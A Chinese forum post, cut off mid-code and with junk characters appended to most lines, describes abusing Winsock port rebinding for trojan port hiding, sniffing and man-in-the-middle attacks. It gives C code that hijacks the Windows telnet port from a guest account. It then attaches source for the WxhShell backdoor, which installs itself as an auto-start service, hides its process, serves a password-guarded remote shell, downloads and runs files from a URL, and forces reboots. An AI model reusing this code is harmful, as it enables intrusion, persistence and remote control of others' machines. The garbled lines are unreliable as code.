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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: BJ% eZ.  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6/rFHY2q  
7Hm3;P.  
  saddr.sin_family = AF_INET; (V4 ~`i4V  
&hRvol\J  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); xO-+i\ ZV  
y~)1 1]'>  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); aH^RoG}  
&^W|iXi#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 I1PuHf Qs  
=}.EY iD  
  这意味着什么?意味着可以进行如下的攻击: Dk?\)lD`  
m=YU2!Mb  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 K_dOq68_  
kT;S4B  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) -wjN"g<  
F&&$Qn_+  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 br|;'i%(  
H,b5C_D29  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  @|\}.M<e*)  
=jN *P?  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }Hn/I,/  
k{'0[,mx#  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Yb E-6|cz  
 EW3(cQbK  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 k1QpKn*  
fl\ly `_  
  #include j$+nKc$  
  #include TA{\PKA)  
  #include g1jTy7g?  
  #include    ~Q\3pI. |  
  DWORD WINAPI ClientThread(LPVOID lpParam);   7D<#(CE{  
  int main() ]MxC_V+P`  
  { {7)st W  
  WORD wVersionRequested; Z,=7Tu bR#  
  DWORD ret; Y'ow  
  WSADATA wsaData; '#k0a,<N  
  BOOL val; |`cKD >  
  SOCKADDR_IN saddr; zzxGAVu  
  SOCKADDR_IN scaddr; l,kUhZ@W  
  int err; #FNcF>3>  
  SOCKET s; lyGhdgWc  
  SOCKET sc; JYTP 2  
  int caddsize; Y./2Ely  
  HANDLE mt; JfR %L q~  
  DWORD tid;   92 [; Y  
  wVersionRequested = MAKEWORD( 2, 2 ); 3\B>lKhQ  
  err = WSAStartup( wVersionRequested, &wsaData ); 2RX!V@z.G  
  if ( err != 0 ) { sQ fFu  
  printf("error!WSAStartup failed!\n"); L31HG H2l  
  return -1; zRyuq1Zyc,  
  } vMS |$L  
  saddr.sin_family = AF_INET; 0PWg;>^'  
   ^Y'HaneoM  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >"C,@cN}B  
62Z#Y Q}x  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); R00eisd  
  saddr.sin_port = htons(23); )BwjZMJ.N  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +t?3T-@Ks  
  { Xwhui4'w  
  printf("error!socket failed!\n"); ( vca&wI!  
  return -1; 7R`mf   
  } Nd;K u6  
  val = TRUE; hC\6- 0u  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 49vcoHlf  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Qc pm !  
  { R;j!}D!4  
  printf("error!setsockopt failed!\n"); e:5bzk!~  
  return -1; <>8WQn,K  
  } c`o7d)_Ke  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; }b-g*dn]5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 QnJZr:4b  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2K3{hxB  
8p:j&F  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) g4l !xT  
  {  w/kt3Lw  
  ret=GetLastError(); I= &stsH  
  printf("error!bind failed!\n"); .dav8n*  
  return -1; pim!.=vN/U  
  }  0}CGuws  
  listen(s,2); 43@{JK9G  
  while(1) ;S>])5<  
  { (Kv#m 3~  
  caddsize = sizeof(scaddr); m8o(J\]  
  //接受连接请求 ]]*7\ :cb  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); D/Mi^5H)  
  if(sc!=INVALID_SOCKET) sPR1?:0:  
  { MP>dW nl  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `-p:vq`  
  if(mt==NULL) $GTU$4u  
  { fe9LEM8j  
  printf("Thread Creat Failed!\n"); [Ki0b^  
  break; -&-Ma,M?  
  } +>r/0b  
  } o/+13C  
  CloseHandle(mt); SF>c\eTtx  
  } c5u@pvSP  
  closesocket(s); i~{Ufi  
  WSACleanup(); Ac<Phy-J  
  return 0; LL3#5AA"k|  
  }   wwyPl  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~W{2Jd  
  { hBBUw0"  
  SOCKET ss = (SOCKET)lpParam; 6,0_)O}\b  
  SOCKET sc; 5Er2}KZJv,  
  unsigned char buf[4096]; L{8xlx`  
  SOCKADDR_IN saddr; E6pMT^{K  
  long num; 9T*v9d  
  DWORD val; FSA1gAW6g  
  DWORD ret; <=>=.kmGt  
  //如果是隐藏端口应用的话,可以在此处加一些判断 L:i-BI`J  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   (EI;"N (x  
  saddr.sin_family = AF_INET; c1E'$- K@  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6x%h6<#xh*  
  saddr.sin_port = htons(23); |\7 ET[X q  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :>Ay^{vf=  
  { -}KC=,]vh  
  printf("error!socket failed!\n"); SN1}xR$  
  return -1; n\^Tq<] a  
  } N19({0+i2  
  val = 100; <y?r!l=Am  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /\4'ddGU  
  { C,v(:ZE$J7  
  ret = GetLastError(); vy\RcP  
  return -1; .8by"?**  
  } D F*:_B )  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,f[>L|?e  
  { Z )SY.iK.  
  ret = GetLastError(); s]f6/x/~  
  return -1; &2{ tF  
  } 0sfr d  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Yi$vg  
  { 61)-cVC  
  printf("error!socket connect failed!\n"); *q-['"f  
  closesocket(sc); UOxkO  
  closesocket(ss); ;{KV /<3  
  return -1; Z|lq b=  
  } |bO"_U  
  while(1) f)^_|8  
  { 5 4L\Jx  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]zWon~  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 4X+ifZO  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Y07ZB'K  
  num = recv(ss,buf,4096,0); !'cl"\h  
  if(num>0) 5'X ]k@m_  
  send(sc,buf,num,0); @T'i/}nl  
  else if(num==0) kNobl  
  break; _s .G  
  num = recv(sc,buf,4096,0); *%S"eWb  
  if(num>0) -)RH5WGS  
  send(ss,buf,num,0); jAm3HI   
  else if(num==0) +PcmJ  
  break; c+hQSm|bf)  
  } paD!Z0v&  
  closesocket(ss); 7r~~Y%=C|  
  closesocket(sc); B4i!/@0s  
  return 0 ; g.zEn/SM  
  } yL2o}ZbS  
F)'.g d  
0a-0Y&lQm  
==========================================================  y"H*%]  
/Z@tv .f  
下边附上一个代码,,WXhSHELL UHTvCc  
*fn*h[pV&  
========================================================== W8KDX_vGJ  
4<lRPsvgc  
#include "stdafx.h" Wb?8j M  
[Z}9>~m  
#include <stdio.h> $D|e>U  
#include <string.h> V;:jZpG  
#include <windows.h> 98uV6b~g  
#include <winsock2.h> G"Sd@%W(  
#include <winsvc.h> VrxQc qPr`  
#include <urlmon.h> 2 -C!jAfd  
|~X ;1j!  
#pragma comment (lib, "Ws2_32.lib") L;'"A#Pa  
#pragma comment (lib, "urlmon.lib") ]y1OFKYv  
Vp3ZwS  
#define MAX_USER   100 // 最大客户端连接数 h3z{(-~y  
#define BUF_SOCK   200 // sock buffer ?6fnpGX@a  
#define KEY_BUFF   255 // 输入 buffer @AIaC-,~]  
M>i9i -dU  
#define REBOOT     0   // 重启 >76\nGO  
#define SHUTDOWN   1   // 关机 VBcy9|lD  
:"xzj<(  
#define DEF_PORT   5000 // 监听端口 bqnNLs<N  
"hzB9*"t  
#define REG_LEN     16   // 注册表键长度 /#VhkC _  
#define SVC_LEN     80   // NT服务名长度 t\%HX.8[;%  
~1W x =  
// 从dll定义API }}>q2y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 32/MkuY^u  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); DW_1,:,?7l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }L#_\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r0,:J   
F pa_qjL;  
// wxhshell配置信息 OVhE??#  
struct WSCFG { Y[$!`);Ye  
  int ws_port;         // 监听端口 \8?Tdx=  
  char ws_passstr[REG_LEN]; // 口令 a6WI170^1  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z`KC%!8K  
  char ws_regname[REG_LEN]; // 注册表键名 Nz],IG.  
  char ws_svcname[REG_LEN]; // 服务名  f-E( "o  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t 0|!(3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 oIb|*gX^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 fM^qQM[lG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no PSZL2iGj9V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" NR5oIKP?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pm_u  
fi$-;Gz  
}; H=Y{rq@  
:=\Hoz  
// default Wxhshell configuration Ct=- 4  
struct WSCFG wscfg={DEF_PORT, 4bw4cqY;  
    "xuhuanlingzhe", O2f-5Y$@  
    1, ),ma_{$N  
    "Wxhshell", f'VX Y-  
    "Wxhshell", i-6F:\;  
            "WxhShell Service", +E.GLn2 /  
    "Wrsky Windows CmdShell Service", <oX7P69  
    "Please Input Your Password: ", !WpBfd>v.I  
  1, fH >NJK;  
  "http://www.wrsky.com/wxhshell.exe", }Hxd*S  
  "Wxhshell.exe" WzF !6n!h  
    }; h9Y%{v  
$l|qk  z  
// 消息定义模块 HLZ;8/|48m  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3T!lA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ZsOIH<}S  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @)4]b+8Z  
char *msg_ws_ext="\n\rExit.";  s8rE$  
char *msg_ws_end="\n\rQuit."; I$0)Px%z  
char *msg_ws_boot="\n\rReboot..."; ,Qnd3[2[  
char *msg_ws_poff="\n\rShutdown..."; Nd cg/d  
char *msg_ws_down="\n\rSave to "; :X]itTrGs  
kMt 8/E`  
char *msg_ws_err="\n\rErr!"; < VSA  
char *msg_ws_ok="\n\rOK!"; jhg;%+KB  
6w(6}m.L^  
char ExeFile[MAX_PATH]; U}PiY"S<  
int nUser = 0; ,}))u0q+:  
HANDLE handles[MAX_USER]; 5yiK+-iTs  
int OsIsNt; OSf}Q=BL  
*Ie7{EhJ'  
SERVICE_STATUS       serviceStatus; <c,u3cp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0Pe>Es|^A#  
W>p-u6u%E|  
// 函数声明 /O^RF}  
int Install(void); 7El[ >  
int Uninstall(void); AbYqf%~7`l  
int DownloadFile(char *sURL, SOCKET wsh); .On|uC)!  
int Boot(int flag); 5_z33,q2  
void HideProc(void);  OP x`u  
int GetOsVer(void); ykX/9y+-s  
int Wxhshell(SOCKET wsl); naw0$kXTA  
void TalkWithClient(void *cs); fI~Xmw+}}  
int CmdShell(SOCKET sock); Ts ^"xlK  
int StartFromService(void); P}TI q#  
int StartWxhshell(LPSTR lpCmdLine); \u>"s   
:E@3Vl#U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y1bbILWej  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $a"n1ou  
7e#?e+5+A  
// 数据结构和表定义 yA.4G_|I  
SERVICE_TABLE_ENTRY DispatchTable[] = KFvQ  
{ j;fpQ_KL  
{wscfg.ws_svcname, NTServiceMain}, .%Ta]!0  
{NULL, NULL} X~<("  
}; *EZHJt9  
e*;c(3>(  
// 自我安装 ulkJR-""&  
int Install(void) (Xq)py9  
{ )Ib<F 7v  
  char svExeFile[MAX_PATH]; -:Ia^{YN  
  HKEY key; cg m~>  
  strcpy(svExeFile,ExeFile); f/Hm{<BY  
0;:.B j  
// 如果是win9x系统,修改注册表设为自启动 sh`s /JRf  
if(!OsIsNt) { cnFI &,FM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /`6ZAo m9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "gne_Ye.  
  RegCloseKey(key); g)_e]&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3`ELKq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v {jQek4  
  RegCloseKey(key); bV$)!]V  
  return 0; G1"zElug  
    } D[mSmpjE6&  
  } OVko+X`  
} tdSfi<y5I  
else { Ar:*oiU  
jp"JafS/E  
// 如果是NT以上系统,安装为系统服务 L?Qg#YSd ~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ( |PAx (  
if (schSCManager!=0) 7"w2$*4'0  
{ 3`B6w$z>(  
  SC_HANDLE schService = CreateService n;$5Cq!v=  
  ( QzzW x2  
  schSCManager, " 9^j.  
  wscfg.ws_svcname, "E8zh|m o  
  wscfg.ws_svcdisp, ;+<&8.=,)  
  SERVICE_ALL_ACCESS, 1!1 beR]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &b?LP]   
  SERVICE_AUTO_START, ALNc'MW!  
  SERVICE_ERROR_NORMAL, -Gw$#!  
  svExeFile, 1QU:?_\6@t  
  NULL, <X7FMNr[  
  NULL, Jnna$6G)B  
  NULL, L\&<sy"H  
  NULL, MwR 0@S}*  
  NULL t0nI('LX,  
  ); NyVnA  
  if (schService!=0) N#Zhxu,g!  
  { ^H2-RBE#  
  CloseServiceHandle(schService); z-LB^kc8oQ  
  CloseServiceHandle(schSCManager); :w<V  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )YX 'N<[  
  strcat(svExeFile,wscfg.ws_svcname); q*7zx_ o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yI ld75S`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <0QH<4  
  RegCloseKey(key); 4 &_NJ\  
  return 0; {e[c  
    } 9P~\Mpk  
  } +H9>A0JF  
  CloseServiceHandle(schSCManager); gOr%!QaF  
} `S2[5i  
} 0qo)."V{  
T.We: ,{  
return 1; AjT%]9 V?  
} Xy@7y[s]  
Pj4/xX  
// 自我卸载 *+\S yO  
int Uninstall(void) h~p>re  
{ H'LD}\K l  
  HKEY key; j8fpj{hp  
0MkSf*  
if(!OsIsNt) { {2+L @  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Mnz!nWhk  
  RegDeleteValue(key,wscfg.ws_regname); #ssN027  
  RegCloseKey(key); EC\yz H*X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wQiX<)O  
  RegDeleteValue(key,wscfg.ws_regname); T[sDVkCbxf  
  RegCloseKey(key); :k3Nt5t!  
  return 0; ^B@Wp  
  } rDQ!zlg>l  
} 3nu^l'WQ  
} ,WG<hgg-U)  
else { Y;e,Gq`  
sz)oZPu|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nIoPC[%_  
if (schSCManager!=0) un=2}@ '  
{ Oer^Rk  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .>mr%#p  
  if (schService!=0) K\$J4~EtG  
  { .{=$!8|&I9  
  if(DeleteService(schService)!=0) { [<{Kw=X__2  
  CloseServiceHandle(schService); x)JOClLr  
  CloseServiceHandle(schSCManager); cP}KU5j  
  return 0; gF0q@My~  
  } }>'PT -  
  CloseServiceHandle(schService); K"0PTWt  
  } >NKe'q<)3  
  CloseServiceHandle(schSCManager); q-`RI*1]  
} KrXdnY8  
} Ai/b\:V9S  
wo3wtx  
return 1; pFm=y#!t  
} $ KRI'4  
y8 KX<2s1  
// 从指定url下载文件 r.T<j .\  
int DownloadFile(char *sURL, SOCKET wsh) +]|Z%;im  
{ ;]w<&C!=  
  HRESULT hr; kdCP  
char seps[]= "/";  (:";i&  
char *token; `KCh*i  
char *file; Da v PYg  
char myURL[MAX_PATH]; d5>H3D{49  
char myFILE[MAX_PATH]; |0\0a&tkPl  
Hw|AA?,0-  
strcpy(myURL,sURL); u@.>Z{h  
  token=strtok(myURL,seps); "n: %E  
  while(token!=NULL) RKa}$ 7  
  { ZWm8*}3]7_  
    file=token; !TP@- X;  
  token=strtok(NULL,seps); J8"[6vId~  
  } LS5vW|]w  
Qq@G\eRo  
GetCurrentDirectory(MAX_PATH,myFILE); .(X lg-H,  
strcat(myFILE, "\\"); ]/!<PF  
strcat(myFILE, file); S<L.c  
  send(wsh,myFILE,strlen(myFILE),0); W?We6.%  
send(wsh,"...",3,0); sz9G3artK&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <97d[/7i  
  if(hr==S_OK) :KKa4=5L  
return 0; " beQZG  
else +R\vgE68  
return 1; sT/c_^y  
u1~9{"P*  
} %\kOLE2`  
q\q=PB6r  
// 系统电源模块 ErT{(t7  
int Boot(int flag) 7-~Q5Kr.  
{ .iQT5c  
  HANDLE hToken; 'Vr$MaO  
  TOKEN_PRIVILEGES tkp; 'r@:Cz3e*I  
qU,c~C=Qf  
  if(OsIsNt) { 8 :o<ry  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,j?.4{rHJ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); SR8qt z/V  
    tkp.PrivilegeCount = 1; #k$)i[aI-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X/; p-KX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6AP~]e 8  
if(flag==REBOOT) { ?6k}ii!c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %"X-&1vV  
  return 0; %+F"QI1~0  
} W>=o*{(YO  
else { M@(^AK{mU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) KYkS9_yF  
  return 0; i`0v#P  
} t9_E$w^U  
  } |w*R8ro_  
  else { H Y ynMP  
if(flag==REBOOT) { g'l?~s`SB  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) DS2)@  
  return 0;  /q@ s  
} G|m1.=DJm  
else { {i*2R^5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) KZbR3mi,  
  return 0; 3loY qeP  
} ?,=f\Fz!  
} ycJg%]F*5  
tj*y)28-  
return 1; /?6gdN  
} M0' a9.d  
G\;}w  
// win9x进程隐藏模块 QI!F6pGF  
void HideProc(void) r{sebE\ ;  
{ @[6,6:h|  
vNW jH!'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ZL< MC~  
  if ( hKernel != NULL ) \#rO!z d  
  { CN2_bz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >|o_wO  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e/8z+H^H  
    FreeLibrary(hKernel); Vi]c%*k  
  } fIocq  
G2#d $  
return; Y=*P 8pg  
} QR> Y%4 ;h  
D%7kBfCb  
// 获取操作系统版本 RkuuogZ  
int GetOsVer(void) 9]>iSG^H  
{ D\~e&0*  
  OSVERSIONINFO winfo; `aqrSH5^h  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vU*x2fVb}  
  GetVersionEx(&winfo); W"Jn(:&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #Rew [\$  
  return 1; %vO<9fE|1  
  else .A1\J@b  
  return 0; e#/kNHl  
} *8ExRQZ$  
`*\{.;,]#  
// 客户端句柄模块 .9|u QEL  
int Wxhshell(SOCKET wsl) 3_`szl-  
{ j}+5vB|0  
  SOCKET wsh; [WB{T3j  
  struct sockaddr_in client; 33~qgK1>  
  DWORD myID; "Jy~PcJZ1  
n(lk dw  
  while(nUser<MAX_USER) lM#A3/=K  
{ O}#yijU3e  
  int nSize=sizeof(client); oh#> 5cA8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &kQ!KA28  
  if(wsh==INVALID_SOCKET) return 1; =Z sGT  
R< zG^m  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); CiL94Nkd9  
if(handles[nUser]==0) !RlC~^ -  
  closesocket(wsh); M8@_Uj  
else *OdX u&5  
  nUser++; g6sjc,`  
  } bQa oMZB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P|^$kK  
fj 4^VXD  
  return 0; QfQ\a%cc  
} }t>q9bZ9z  
GIv){[i  
// 关闭 socket K` nJVc  
void CloseIt(SOCKET wsh) nSY-?&l6P  
{ ~ E=\t9r  
closesocket(wsh); kA7(CqUW  
nUser--; mYNEz @  
ExitThread(0); (Btv ClZ  
} y~F<9;$=  
^GYq#q9Q  
// 客户端请求句柄 TK>{qxt:=  
void TalkWithClient(void *cs) u8OxD  
{ aEx(rLd+  
vN{-?  
  SOCKET wsh=(SOCKET)cs; T 4|jz<iK]  
  char pwd[SVC_LEN]; agd)ag4"[u  
  char cmd[KEY_BUFF]; F* #h9 Y  
char chr[1]; PM4>ThQ  
int i,j; ^p_u.P  
135vZ:S  
  while (nUser < MAX_USER) { zH'2s-.bi  
+=8X8<Pu  
if(wscfg.ws_passstr) { FBsn;,3<W  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /qxJgoa  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,.g}W~S)  
  //ZeroMemory(pwd,KEY_BUFF); o&^NwgRCF  
      i=0; cD{8|B*  
  while(i<SVC_LEN) { 9B)lGLL}q  
Lm.`+W5  
  // 设置超时 V2yveNz\7  
  fd_set FdRead; [[qwaI  
  struct timeval TimeOut; CW:gEm+  
  FD_ZERO(&FdRead); D&*LBQ/K  
  FD_SET(wsh,&FdRead); >;i\v7  
  TimeOut.tv_sec=8; Qg0vG]  
  TimeOut.tv_usec=0; " OGdE_E  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); IM ad$AKc  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); JJl7JwSTW  
2q %K)h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *=vlqpG  
  pwd=chr[0]; 3$"/>g/  
  if(chr[0]==0xd || chr[0]==0xa) { \8"QvC]  
  pwd=0; ;aK.%-s-Z  
  break; "g `nsk  
  } (G8  
  i++; M^ 5e~y  
    } w3#`1T`N  
V:\]cGA{  
  // 如果是非法用户,关闭 socket 8Inx/>eOI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WOO%YU =  
} +8UdvMN  
pN$;!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \ $;~74}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G\1J _al  
Lh 9S8EU  
while(1) { lA{(8sKN  
8X~h?^Vz  
  ZeroMemory(cmd,KEY_BUFF); / Dw@d,&[  
`{G?>z Fp  
      // 自动支持客户端 telnet标准   8D2yR#3  
  j=0; wZv-b*4  
  while(j<KEY_BUFF) { n+quSF)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,#aS/+;[)  
  cmd[j]=chr[0]; 6+ 8mV8{-8  
  if(chr[0]==0xa || chr[0]==0xd) { <bdyAUeFw  
  cmd[j]=0;  9d"5wx  
  break; l^,qO3ES  
  } a RKv+{K  
  j++; k ]bPI$  
    } ? : md  
@xJCn}`Zj  
  // 下载文件 ] SK[C" S  
  if(strstr(cmd,"http://")) { 6F`\YSn+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %FlA ":W  
  if(DownloadFile(cmd,wsh)) 4zzlazU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E0`[G]*G  
  else MW]8;`|jC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xb+3Xn0}&8  
  } (zmNa}-  
  else { {{E jMBg{  
cDO:'-  
    switch(cmd[0]) { C|$L6n>DR6  
  /:Y9sz uW`  
  // 帮助 s$3`X(Pn  
  case '?': { 0l1.O2 -  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u0 BMyH  
    break; -,/3"}<^78  
  } 9>{t}I d  
  // 安装 <~O}6HQ#  
  case 'i': { c `ud;lI  
    if(Install()) ?{j@6,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M*H< n*  
    else E&9!1!B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); leIy|K>\m  
    break; a hwy_\  
    } XSl!T/d  
  // 卸载 \kk!Dz*H  
  case 'r': { q\U4n[Zk  
    if(Uninstall()) }Eb]9c\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^vn\4  
    else fD(7F N8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .ujj:>  
    break; 'g]=.K+@}  
    } Q,n4i@E  
  // 显示 wxhshell 所在路径 :K;T Q  
  case 'p': { zS?n>ElI  
    char svExeFile[MAX_PATH]; H%cp^G  
    strcpy(svExeFile,"\n\r"); yXXvs'$R \  
      strcat(svExeFile,ExeFile); Q^|6J#o[9  
        send(wsh,svExeFile,strlen(svExeFile),0); @9<S*  
    break; t]r7cA  
    } v\'r Xy  
  // 重启 H1C%o0CPY  
  case 'b': { Me<du& T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \KN dZC?V2  
    if(Boot(REBOOT)) r!~(R+,c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u&tFb]1@)  
    else { +:!ScG*  
    closesocket(wsh); ~xE=mg4le  
    ExitThread(0); N)P((>S;  
    } a! ?.F_T9A  
    break; K@*rVor{  
    } +Tp%5+E  
  // 关机 a(5y>HF  
  case 'd': { ]xI?,('_m  
